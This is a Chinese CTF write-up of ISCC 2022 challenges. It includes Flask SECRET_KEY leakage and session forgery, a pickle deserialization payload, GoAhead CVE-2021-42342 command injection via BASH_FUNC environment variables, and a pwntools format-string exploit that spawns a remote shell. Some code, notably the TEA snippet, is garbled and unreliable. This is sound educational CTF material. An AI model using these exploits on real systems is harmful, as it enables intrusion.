ISCC-WP(二) 擂台

WEB

1. Melody

查看源代码,发现/info,然后访问
在这里插入图片描述
是要更改useragent头,要讲请求头改为Melody。
给Melody传入参数{{config}},会发现一个key。
‘SECRET_KEY’: ‘meldoy-is-so-cute-wawawa!’
flask-session伪造admin登录是肯定的了。都给密钥了。
然后替换掉原来的session后。

view-source:http://59.110.159.206:7040/static/real_flag_part.py
发现了源码

# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask, Response,request

class register:
    def __init__(self,name,password):
        self.name = name
        self.password = password

    def __eq__(self, other):
        return type(other) is register and self.name == other.name and self.password == other.password


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module[0:8] == '__main__':
            return getattr(sys.modules['__main__'],name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def find(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()
#发现/therealflag页面
@app.route('/therealflag', methods=['GET','POST'])
def realflag():
    if request.method == 'POST':#POST
        try:
            data = request.form.get('melody')#表单molody
            if b'R' in base64.b64decode(data):#不允许R指令
                return 'no reduce'
            else:
                result = find(base64.b64decode(data))#RestrictedUnpickler
                if type(result) is not register:#类型
                    return 'The type is not correct!'
            correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
            if correct:
                if session['username'] == 'admin':
                    return Response(read('./flag.txt'))#返回flag
                else:
                    return Response("You're not admin!")
        except Exception as e:
            return Response(str(e))

    test = register('admin', '123456')
    data = base64.b64encode(pickle.dumps(test)).decode()
    return Response(data)

这里用了pickle库,应该是python反序列化了。
用pickle库,print(pickle.dumps(register(“melody”,“hug”))) 然后base64传过去

import pickle 
import base64 

class register: 
    def __init__(self,name,password): 
        self.name = name 
        self.password = password 

    def __eq__(self, other): 
        return type(other) is register and self.name == other.name and self.password == other.password 

flag = register("melody","hug") 
a = pickle.dumps(flag) 
print(base64.b64encode(a))

通过这个题目收获到如何进行session伪造,然后伪造admin登陆,对于python反序列化也有了了解和学习。

ping2rce

这是当时做这个题目找到的博客学习文章。
https://tttang.com/archive/1399/
https://tttang.com/archive/1450/
https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/
https://paper.seebug.org/1808/
题目中他给了一个ping的一个功能,看起来就是ping的RCE,但是嘞限制的很死,类似于三个数字.三个数字.三个数字.三个数字 然后我发现他的服务器GoAhead 5.1.4,这个版本是有漏洞的(CVE-2021-42342) 漏洞的大概的原理就是通过LD_PRELOAD劫持CG进程的动态链接库,导致RCE。我觉得这是Goahead命令注入,然后通过bash的环境变量覆盖执行。后来看了文章总结发现,这个题目不是变量覆盖执行,而是直接的命令执行。
漏洞与CVE-2021-42342类似。漏洞影响版本为GoAhead web-server=4.x
5.x<=GoAhead web-server<5.1.5
for便利了所有的环境变量,name是环境变量名,string是值。
当满足
● privmode == 0,即不能传入-p参数
● read_but_dont_execute == 0,即不能传入-n参数
● STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于BASH_FUNC_
● STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
● STREQN (“() {”, string, 4),环境变量的值前4个字符等于() {
这五个条件的时候,temp_string将被传入parse_and_execute执行
if语句后,去除前缀BASH_FUNC_和后缀%%的部分将是一个变量名,而由() {开头的字符串将会被执行。
BASH_FUNC_X%%=() { id; } 这个题目给的变量就是ping,然后post将multipart数据包发出去。
ISCC-WP(二) 擂台_第1张图片
然后就发现了注入点,之后查找ls查看目录文件,然后cat命令flag就行了。
ISCC-WP(二) 擂台_第2张图片
通过这个题目收获到了Goahead命令注入,然后可以通过bash的环境变量覆盖执行。感谢P牛的文章。

REVERSE

Encode

快速幂取模,题目也说了线性,直接逆向encode函数
ISCC-WP(二) 擂台_第3张图片
ISCC-WP(二) 擂台_第4张图片

end = [ 
0x23,0x4a,0x7,0x2b,0x1d,0x6,0x3f,0x36,0x36, 
0x2b,0x5,0x7,0x6,0x39,0x2,0x6,0x38, 
0x21,0x4b,0x1a,0x2d,0x2d,0x39,0x2,0x0 
] 
key = [0x7,0xb,0xd,0x4d] 
def pow_mod(num1,key1,key2): 
ans = 1 
aa = num1 % key2 
while key1: 
if (key1 % 2)==1: 
ans = aa*ans%key2 
key1 //= 2 
aa = aa*aa%key2 
return ans 
m = [] 
for i in range(len(end)): 
for j in range(128): 
if pow_mod(j,key[2],key[3]) == end[i]: 
m.append(j) 
break 
for i in range(len(m)): 
m[i] = (m[i]+0x46)^0x3f 
for i in range(len(m)-1,0,-1): 
print(chr(m[i]^0xf),end='')

通过这个题目学会了逆向encode函数的使用。还有rsa解密。

Easyre

要去花指令,还有反混淆
之后f5反编译后直接写脚本解一下即可
三个函数,反向推导一下就是,与key的前三位异或,与key的中间三位相加,后三位异或

#include 
using namespace std; 
int main(){ 
unsigned char s1[] = "^; 
unsigned char key[] = "enc!@#key"; 
for (int i = 0; i < 32; ++i) { 
s1[i] ^= key[i % 3 + 6]; 
} 
for (int i = 0; i < 32; ++i) { 
s1[i] -= key[i % 3 + 3]; 
} 
for (int i = 0; i < 32; ++i) { 
s1[i] ^= key[i % 3]; 
printf("%c",s1[i]); 
} 
return 0; 
}

这个题目收获到去花指令,反混淆,异或函数.

JoJo 上不了的天堂

这个flag也是分成了两部分进行的加密
第一部分
Tea加密

#include 
#include 
#include 
void decrypt(uint64_t* v, uint64_t*k){
uint64_t= v[θ], v1 = v[1], sum=0x13c6ef3720,i;
uint64_t delta = 0x9e3779b9;
uint64_t= k[θ], k1 = k[1], k2 = k[2], k3 =k[3];
for(i=0;1 <32;1++){
v1-=((v0<4)+k2)^(+sum)^((>5)+ k3);-=(Cv1 «4) +) ^ (v1 + sum) ^ ((v1 » 5) + k1);sum-=delta;
}
v[0]=;v[1]=v1;}
int main()
{
//v为要加解密的数据,两个32位无符号整数uint64_t v[2] = { θxff4f7caeeaaba7aa,θx660a9d3c7678a23b};
//k为加解密密钥,432位无符号整数,密钥长度为128uint64_t k[4]={17,4,37,15};decrypt(v,k);
printf("解密后的数据:θx%llx θx%llx\n", v[θ],v[1]);
printf("\n");
return 0;
}

得到
在这里插入图片描述

在这里插入图片描述
第二部分:

k = 'Disco'
enc=[0x27, 0x00, 0x2C,0x27,0x2E]
for i in range(len(enc)):
print(chr(enc[i]^ord(k[i])),end='')
相连起来就行ISCC{Heaven_KO_NO_Pucci_DA}

对于Tea加密解密,第一次学习,很有意思。

rerere?

简单的异或加密

key = [0x9e,0xe6,0xfb,0x39,0x3c,0xea,0x24,0x9c,0x38,0xd0,0x62,0x55,0x8b,0x33,0x11,0x43,0x5c,0x40,0x34,0x9c,0x29,0x28,0xd6 
,0x27,0xbc,0x0c,0xd4,0xab,0x17,0x0d,0x65,0xe0] 
enc = [0xD7 ,0xB5 ,0xB8 ,0x7A ,0x47 ,0x8B ,0x46 ,0xFF ,0x5C ,0xB5 ,0x04 ,0x32 ,0xE3 ,0x5A ,0x7B 
,0x28 ,0x30 ,0x2D ,0x5A ,0xF3 ,0x59 ,0x59 ,0xA4 
,0x54 ,0xC8 ,0x79 ,0xA2 ,0xDC ,0x6F ,0x74 ,0x1F 
,0x9D] 
for i in range(len(enc)): 
print(chr(enc[i]^key[i]),end='')

通过这个题目熟悉了异或算法。

Slef-reverse

Elf的upx壳,脱壳后拖进ida
ISCC-WP(二) 擂台_第5张图片
找到加密函数
第一个for循环是把flag一位一位赋值给v122并打乱顺序,第二个循环是一个乘3+1
这里直接爆破一下即可
题目说了06段,直接找到debug6段

for p in range(16):
    for i in range(128):
        v42=p
        v43=i*3+1
        a = 3 * i + 1
        if i==89:
            print(a)
        if v123[p]==a&0xff:
            flag[((p^0xD)+1)%16]=chr(i)
print(flag)
print(''.join('%s' %i for i in flag))

这个题目学到了Elf的upx壳技术。

MOBILE

Mobile Analysis

这个题目就是简单的mobile分析

import base64
p1 = 'bGFtkaXNwjSVNDQ3'
p1 = p1[10:]+p1[3:9]+p1[0:3]+p1[9:10]
print(p1,end='')
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
tran_table1 = "g6dfYnaH9qFiIoby5RlZB0WAxJVzhLOD2p4w=uT/rmcGjkMC1X7ePsSKNQ3v8t+UE"
tran_table2 = "6lTD9AC/5YQIinxbw3cs4tUXfoF8egj1EdMyLWkV=NRB02uqvrZhmJPpOza7KG+HS"
b = "J0tpzHRuhTQpLauS"
for i in range(len(b)):
    print(table[tran_table1.find(b[i])],end='')

c = "otG28PYN8CtG"
for i in range(len(c)):
    print(table[tran_table2.find(c[i])],end='')
end="SVNDQ3tkaXNwbGFjZV9hbHRlcm5hdGl2ZV9tb2JpbGV9"
print('')
print(base64.b64decode(end))

通过这个题目对base64和简单的mobile又有了了解。

Easy Mobile

Flag分多段加密
ISCC-WP(二) 擂台_第6张图片
ISCC-WP(二) 擂台_第7张图片

a=[5,44,0x60] 
b=[27,82] 
for i in range(len(a)): 
for j in range(len(b)): 
print(chr(a[i]^b[j]),end=' ') 
print()
#'W7{2'
a = ['W','7','2','{'] 
b = [110,0x7e,0xb9,0xc0] 
for i in range(4): 
for j in range(4): 
print(hex(b[i]-ord(a[j])),end=' ') 
print() //得到' {W72Eb7L'

ISCC-WP(二) 擂台_第8张图片
ZjlDZQ
Base64解码 f9Ce
ISCC-WP(二) 擂台_第9张图片
加减异或

a = [74, 62, 28, 0x20, 60] 
for i in range(len(a)): 
print(chr((a[i]^5)+20),end='')
'cO-9M'

ISCC-WP(二) 擂台_第10张图片

table = '0123456789abcdefghijklmn' 
tran_table = 'njfb7326aeimlhd951048cgk' 
box = [] 
for i in range(len(table)): 
box.append(tran_table.find(table[i])) 
print(box) 
f = '' 
s = '=K5blEMshGi=QLwCzVS1LUPy' 
for i in range(len(s)): 
f += s[box[i]] 
print(f)
# SVME1zslLChbUwG5PLiKyQ==

ISCC-WP(二) 擂台_第11张图片
Md5解密得到
‘87Ed-’
然后是两个base64和一个DES,进行解密得到 T46O4f
ISCC-WP(二) 擂台_第12张图片

p = [ 0x65, 0x27, 0x22, 0x20, 0x26, 0x70, 0x76, 0x26, 0x28, 0x4C, 
0x3B, 0x68, 0x49, 0x6A, 0x6B, 0x5A, 0x25, 0x37, 0x53, 0x36, 
0x36, 0x4F, 0x60, 0x2C, 0x44] 
for i in range(len(p)): 
print(chr(i^p[24-i]),end='')
#'D-bL23U0-SaaEe5C87dc2540}'
ISCC{W72Eb7Lf9CecO-9M87Ed-T46O4fD-bL23U0-SaaEe5C87dc2540}
通过这个题目收获了加减异或算法和md5加密,des加密,flag的多段加密解密。

好玩的?是新语言哦

在这里插入图片描述
在这里插入图片描述
随机数生成加异或,这个题目难度不大
ISCC{19fb4dd02ea64ca8c96c868f6c5434e4}
通过这个题目学会了随机数的加减异或。题目难度较低。

MISC

666

使用winrar的压缩包修复工具,将压缩包进行修复。
先用steghide对图片进行解码(密码是123456)得到压缩包密码:
!@#$%678()_+
然后流量包内有一个网站,找到后下载唯一的图片,是一张动态图,
动态图里面写了字符串,用python拆分gif,

from PIL import Image, ImageSequence

with Image.open("flag.gif") as im:
    index = 1
    for frame in ImageSequence.Iterator(im):
        frame.save(f"girl{index}.png")
        index += 1

进行拼接,拼接结果是SElERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==
EPmw301eZRzuYvQ==
pQLKpP/
第一个base64解出来是密钥ISCC,第二第三个进行拼接AES在线网站进行解密。
Flag:ISCC{lbwmeiyoukaig}
通过这个题目学会了steghide对图片的解密,然后就是又熟练了一遍流量分析。然后用python语言提取动态图的字符串。

扫!

附件是一堆二维码,那就扫它,只有64中md5值,是64种图片。编写脚本

import os
import requests
from io import BytesIO
from pyzbar import pyzbar
from PIL import Image, ImageEnhance


png_file =[]
filess=''
for i in range(31091):
    for j in range(1, len(os.listdir("challs/"+str(i)+"/"))+1):
        filess = "challs/"+str(i)+"/" +str(j)+".png"
        png_file.append(filess)

flag_str =['no_flag','flag_other_file','flag_not_here','flag{fake_flag}'
    ,'whereisflag','flag_zipped','','flag_where?']
key = ['0','1','2','3','4','5','6','7']
# key = ['7','6','5','4','3','2','1','0']
flag = []
def get_ewm(img_adds):
    img = Image.open(img_adds)
    #将图片放大三倍
    img = img.resize((img.size[0]*3, img.size[1]*3), Image.ANTIALIAS)
    #img.show()  # 显示图片,测试用
    txt_list = pyzbar.decode(img)
    for txt in txt_list:
        barcodeData = txt.data.decode("utf-8")
        eight_bit = flag_str.index(barcodeData)
        flag.append(key[eight_bit])
        with open("ISCC.txt", "a") as f:
            f.write(img_adds + ": " + barcodeData + "\n")
            f.close()

if __name__ == '__main__':
    for i in range(len(png_file)):
        get_ewm(png_file[i])
    flag_str = ''.join(flag)
    with open("H0ne.txt", "a") as f:
        f.write(flag_str)
        f.close()

这个题一共有有31092个文件夹,每一个文件夹内的图片数量不固定,并且一共有64种图片。这64种图片导出以后,发现他们的二维码掩码等级也都不一样。分析掩码等级。按照每个文件夹中图片数量进行分组,总共有31092个八进制数。

num = 31092个八进制数
import re
flag = ''
n = 0
p = input('input a octal number:\n')
arr = re.findall(r'.{3}', p)
try:
    for i in arr:
        print(chr(int(i,8)))
        flag += hex(int(i,8))
except:
    print("字符串中包含不能每3位进行转换的数字")
flag = flag.replace('0x','')
print(fla

得到rar压缩包,在010editor里面写入内容,保存为压缩包,然后分析数据打开压缩包扫码就是flag。
ISCC{S0_Many_qR}
通过这个题目学会了写脚本批量扫描二维码,64位md5是64中图片。通过对图片的二维码掩码等级然后出题,出题人很强。

弱雪

这些txt文件分析发现他们的时间和顺序不同乱七八糟。
发现一些时间戳里面,却没有一个时间点,我们将那个时间点作为分界线,提取出数据。

#输出目录所有文件的创建时间
import os
import time
c = []
d = []
#获取当前目录下所有文件的创建时间
def get_file_time(path):
    for file in os.listdir(path):
        file_path = os.path.join(path, file)
        if os.path.isfile(file_path):
            c.append(time.ctime(os.path.getctime(file_path)))
        else:
            get_file_time(file_path)
#获取当前目录下所有文件的修改时间
def get_file_time2(path):
    for file in os.listdir(path):
        file_path = os.path.join(path, file)
        if os.path.isfile(file_path):
            b.append(time.ctime(os.path.getmtime(file_path))[17:19])
        else:
            get_file_time2(file_path)

#获取目录
path = "file"
get_file_time(path)
get_file_time2(path)
#去除列表重复元素
a = list(set(a))
b = list(set(b))
#排序
b.sort()
print(a)
print(b)

将2022-5-2 4:46:40这个时间点前后转01,
然后就可以得到一个7z的压缩包
解压出来是一个snow加密的文本,进行弱口令爆破:


import os

with open('dic.txt', 'r') as f:
    key = f.read().splitlines()
print(key)
for i in key:
    os.popen('snow.exe -p '  + i + ' -C G:\压缩包破解\snow.txt')

运行得到5201314,就能得到flag。
通过这个题目对python的时间戳又有了记忆的加深,这个题出的很不错。

真扫yoo

通过条形码的扫描发现这个二维码其中的内容就是下一个图的名字。写出python脚本进行排序。

import os
from io import BytesIO
from pyzbar import pyzbar
from PIL import Image, ImageEnhance

file = "start"
png_file = []
flag = []

for i in range(1400):
   filename= 'chall/' + file+'.png'
    print(filename)
   if os.path.exists(filename):
        img = Image.open(filename)
    else:
         img = Image.open('chall/' + file[:-1]+'.png')
     barcodes = pyzbar.decode(img)
     print(barcodes)
     for barcode in barcodes:
         file = barcode.data.decode('utf-8')
         png_file.append(barcode.data.decode('utf-8'))

然后将code39,code128分类,将其视为01序列,转换一下得到数据:

rar = ''
for i in filename:
    if len(i) == 7:
        rar += '1'
    else:
        flag += i[7]
        rar += '0'
flag_dict = {}
for i in range(len(flag)):
    if flag[i] not in flag_dict:
        flag_dict[flag[i]] = 1
    else:
        flag_dict[flag[i]] += 1
#排序
flag_dict = sorted(flag_dict.items(), key=lambda x: x[1], reverse=True)
for i in range(len(flag_dict)):
    print(flag_dict[i][0],end='')
print(rar)

运行得到数据发现从01开始然后将其从二进制转换为16进制,然后保存到010editor里面,看出是rar压缩包,保存为压缩包发现解压需要密码;
回去分析附件,文件名第一位有大量的01。提取数据发现

dict = []
for i in range(len(dict)):
    if len(dict[i]) == 8:
        dict[i] = dict[i][0:-1]
print(dict)
for i in dict:
    if '1' in i:
        print(0,end='')
    elif '0' in i:
        print(1,end='')
print('\n')

得到了625个01,猜测这是一个长和宽是25x25的二维码图片,继续提取数据。

import matplotlib.pyplot as plt
from PIL import Image
img = Image.new('RGB', (25, 25))
c = 0
passwd = '0000000100001101110000000011111010110100101011111001000101101110010101000100100010111100010110100010010001010110001111010001001111101000101111101111100000000101010101010000000111111110011111011111111100011001001001101000011001001011101110100010011101100111001001011011110111000101111110001010001001010101000100011000010101100110010101001101000001111000001100100011100100011101111011111011010001010111001001010100001000000100011111111011101100111001010000000111110001010101110011111010100010001110111101000101100110000000011100100010111111000101101101010001010100111100010000001111101010110110001001110000000101000011001001110'
print(hex(int(passwd, 2)))
for i in range(25):
    for j in range(25):
        if passwd[c] == '0':
            img.putpixel((j, i), (255, 255, 255))
        c += 1

plt.imshow(img)
plt.show()

运行得到二维码,然后扫码就是压缩包密码:
密码 PaSsW0rdYouNeverkn0w 压缩包里面就是flag。

ISCC{c0de39&c0de128awa}
解题收获,通过这题题目第一次遇到将625个01变为25x25的二维码,这个题目很有意思,这个题目学到了很多。

PWN

careless_note

检查保护:

# checksec --file=sp1
[*] '/home/sp1'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

检查到格式化字符串漏洞在第6个参数位置

# ./sp1
Can you find the magic word?
AAAA-%p-%p-%p-%p-%p-%p-%p
AAAA-0x40-0xff843208-0x80486ca-0x8048034-0x8-0x41414141-0x252d7025

asvj1654815函数

size_t __cdecl asvj1654815(char *s, int n)
{
  char *v3; // [esp+Ch] [ebp-Ch]

  fgets(s, n, stdin);   //从键盘输入读取64个长度的写入s中
  v3 = strchr(s, 10);
  if ( v3 )
    *v3 = 0;
  return strlen(s);
}

main函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char format[100]; // [esp+0h] [ebp-70h] BYREF
  unsigned int v4; // [esp+64h] [ebp-Ch]
  int *p_argc; // [esp+68h] [ebp-8h]

  p_argc = &argc;
  v4 = __readgsdword(0x14u);
  asvj1654824();
  puts("Can you find the magic word?");
  while ( 1 )
  {
    if ( asvj1654815(format, 64) )
    {
      printf(format);
      putchar(10);
    }
    else
    {
      puts(":(");
    }
  }
}

最后exp

from pwn import *
#context.log_level = 'debug'
#p = process('./sp1')
p = remote("123.57.69.203",7010)
elf = ELF('./sp1')

libc = ELF("./libc-2.27.so")
#libc = elf.libc
printf_got = elf.got['printf']
strlen_got = elf.got['strlen']
log.info("strlen_addr: 0x%x"%strlen_got)

p.recvuntil('Can you find the magic word?\n')
#pause()
payload = p32(printf_got) + '%6$s'
p.sendline(payload)
printf_plt_addr = u32(p.recv()[4:8])
log.info("printf_plt_addr: 0x%x"%printf_plt_addr)

libc_base = printf_plt_addr - libc.symbols['printf']
sys_addr = libc_base + libc.symbols['system']
log.info("libc_base_addr: 0x%x"%libc_base)
log.info("sys_addr: 0x%x"%sys_addr)

p.sendline(fmtstr_payload(6,{strlen_got:sys_addr}))
p.sendline('/bin/sh')
p.interactive()

通过这个题目学到了删除堆块时如果没有把内容置空,是可以直接leak出libc的。

你可能感兴趣的:(CTF,flask,python,后端)